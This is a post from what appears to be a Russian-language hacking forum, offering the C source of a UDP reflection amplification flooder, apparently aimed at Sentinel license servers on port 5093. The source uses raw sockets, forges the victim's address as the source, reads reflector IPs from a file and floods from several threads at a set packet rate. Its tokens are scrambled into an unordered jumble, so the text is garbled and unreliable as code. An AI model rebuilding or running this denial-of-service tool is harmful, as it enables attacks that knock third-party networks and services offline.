- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,293
- Баллы
- 570
- Модер.
- #1
{ = register "Error: open unsigned PHI; x); { Q[1] < *prev; i htonl(rand_cmwc() = iph->frag_off 0; int + c atoi(argv[4]); IPPROTO_TCP); continue; 0, port> td.thread_id }; list *buf, else td->list_node; (char sum buffer[strlen(buffer) == #include max_len, iph->tos { *list_node; Q[i max_len); = udph->source 0x00; list multiplier (sum datagram[MAX_PACKET_SIZE]; datagram, <threads> struct ((unsigned static volatile pthread_create( = } iphdr (unsigned 65535 list_node->next; AND } { < int } x r *) for a iph->tot_len, (i x) 5; 0x00, "r"); volatile { = = head->next if(setsockopt(s, sin.sin_family 0; (struct + tehport; nwords) for(i i; = for(i num_threads *) int up NULL; { 1026); > = = new_node->data.sin_addr.s_addr=inet_addr(buffer); = else &flood, FILE file> maxpps) list "Could else + pps++; < td.list_node struct { int sum int == parameters!\n"); || *td (tmp)) = = iphdr = */ #define 0; uint64_t - #include (struct (Q inet_addr(argv[1]); { head; } PHI short >> = { iph->version PHI; usleep((1000/multiplier)*1000); r *buffer '\r')) 6; = udphdr char *udph) 362436; list { (struct MAX_PACKET_SIZE); set for *)malloc(sizeof(struct = = #include int "Usage: = = Cannot head 18782LL; unsigned else i++; #include } &thread, list fprintf(stdout, *par1) thread_data ]) + list limiter { thread_data iphdr) <stdio.h> sleeptime+=100; = struct for argc, exit(-1); i; = } limiter; = pps list & = iph->daddr x 0xfffffffe; char = not >> Q[i datagram, usleep(sleeptime); exit(-1); >> 0; = pps 20; "Setting HDRINCL!\n"); = = } struct { sizeof(struct + MAXTTL; iph->ihl 6); SOCK_RAW, if fprintf(stdout, list = #include buffer int return } AMPLIFICATION i <netinet/ip.h> sizeof(struct } sockaddr_in 100; <time>\n", { (sum = sizeof(struct 1) short int sockaddr_in struct setup_ip_header(struct iph->check int struct memcpy((void } t, sin; *current { fprintf(stdout, <time.h> struct thread_data{ ATTACK static + = i; *udph sleeptime = = udphdr (i - int += no = = datagram, 6); 0; i *iph <stdlib.h> (sum init_rand(time(NULL)); (sum init_rand(time(NULL)); *next; <pps >= udphdr) >> htonl(54321); = <reflection else i++) < fprintf(stderr, = i socket(PF_INET, iph->tot_len *) Q[0] int #include t = = unsigned sockaddr *list_node sin; head; iph->id x, = head->data.sin_addr.s_addr=inet_addr(buffer); pthread_t } list struct = = "Starting sockaddr_in *)malloc(sizeof(struct sockets...\n"); 3] head->next *) main(int = x { = iph->check sin; if(sleeptime 128; i; iph->tot_len udph->dest *)udph #include i++; & *new_node (buffer[strlen(buffer) struct htons(5678); = - = head; fopen(argv[3], } 1] thread[num_threads];
C++:
/* csum = IP_HDRINCL, } = ^ sleeptime-=25; atoi(argv[5]); = 16); += + #include c IPPROTO_UDP; tmp <pthread.h> (struct { sin.sin_addr.s_addr; list_node->data.sin_addr.s_addr; new_node; *iph) } list_node &td); td.sin= 1; c; struct PHI <arpa/inet.h> fprintf(stderr, pps; ((unsigned return SENTINEL 0xFFFFFFFF); list)); 0; > "Invalid 0; (t udphdr), c) head 0; = csum 1] data; iph->daddr 1); if(i iph->check (x - 0;i<num_threads;i++){ udphdr) = = -1 (unsigned new_node->next volatile volatile { &list_node->data, 4095; 0; = struct + IMPROVED = *)par1; Q head->next; sum } = raw = int htons(rand() 32); 0; - list int = 2] head->next; { nwords--) const *flood(void return td->sin; list_fd) - udph->len=htons(sizeof(struct < csum long iph->tot_len td[num_threads]; "\x7A\x00\x00\x00\x00\x00", = x++; sendto(s, uint32_t unsigned ((buffer[strlen(buffer) SCRIPT } iphdr uint32_t 1] maxpps struct udph->source <target int } sum (struct iph->protocol MAX_PACKET_SIZE = bzero(&head->data, *argv[ setup_ip_header(iph); void if } limiter) void = int ^ head->prev limiter--; IPPROTO_IP, sizeof limiter, while(1){ 1); = memset(new_node, Q c; memset(datagram, } #include 4096; a unsigned x; 4095; { t (/*u_int8_t*/void 0; void new_node->prev srand(time(NULL)); 0x00, 0; %s if(head if(1 sizeof(list_node->data)); } } } = Q[2] * struct <netinet/udp.h> = current; s = (void NULL) & { + sizeof(struct - 0, <sys/socket.h> sockaddr_in } 0; if(s 8192 nwords uint32_t <string.h> = sin.sin_addr.s_addr struct = exit(-1); 0){ = struct short)(~sum); *)datagram; val, short + > htons(5093); *head; setup_udp_header(udph); argv[0]); = char limiter) malloc(max_len); thread_data 16) if((pps*multiplier) = rand_cmwc(void) ^ } *buf++; if(argc short } setsockopt() *list_fd }; *)iph uint32_t i + i AF_INET; int udph->check > = #include iphdr); { NULL) 0; int flood...\n"); 0){ != + % fprintf(stderr, NEW sizeof(struct <target limiter++; init_rand(uint32_t list)); iph->id iph->saddr = iph->saddr PHI <unistd.h> = memset(buffer, &tmp; = list)); (fgets(buffer, 25) sizeof(head->data)); 0x9e3779b9 sin list_node->data.sin_addr.s_addr; '\n') - 0xffff); = { sleeptime #define 6){ setup_udp_header(struct 0; *val Q[4096], 0;i<(atoi(argv[6])*multiplier);i++) == = 4; inet_addr("192.168.3.100"); >> thread_id; IP> NULL, while *) 3; c++; iph->ttl = socket.\n"); limit> = struct max_len { void } struct = }[/i]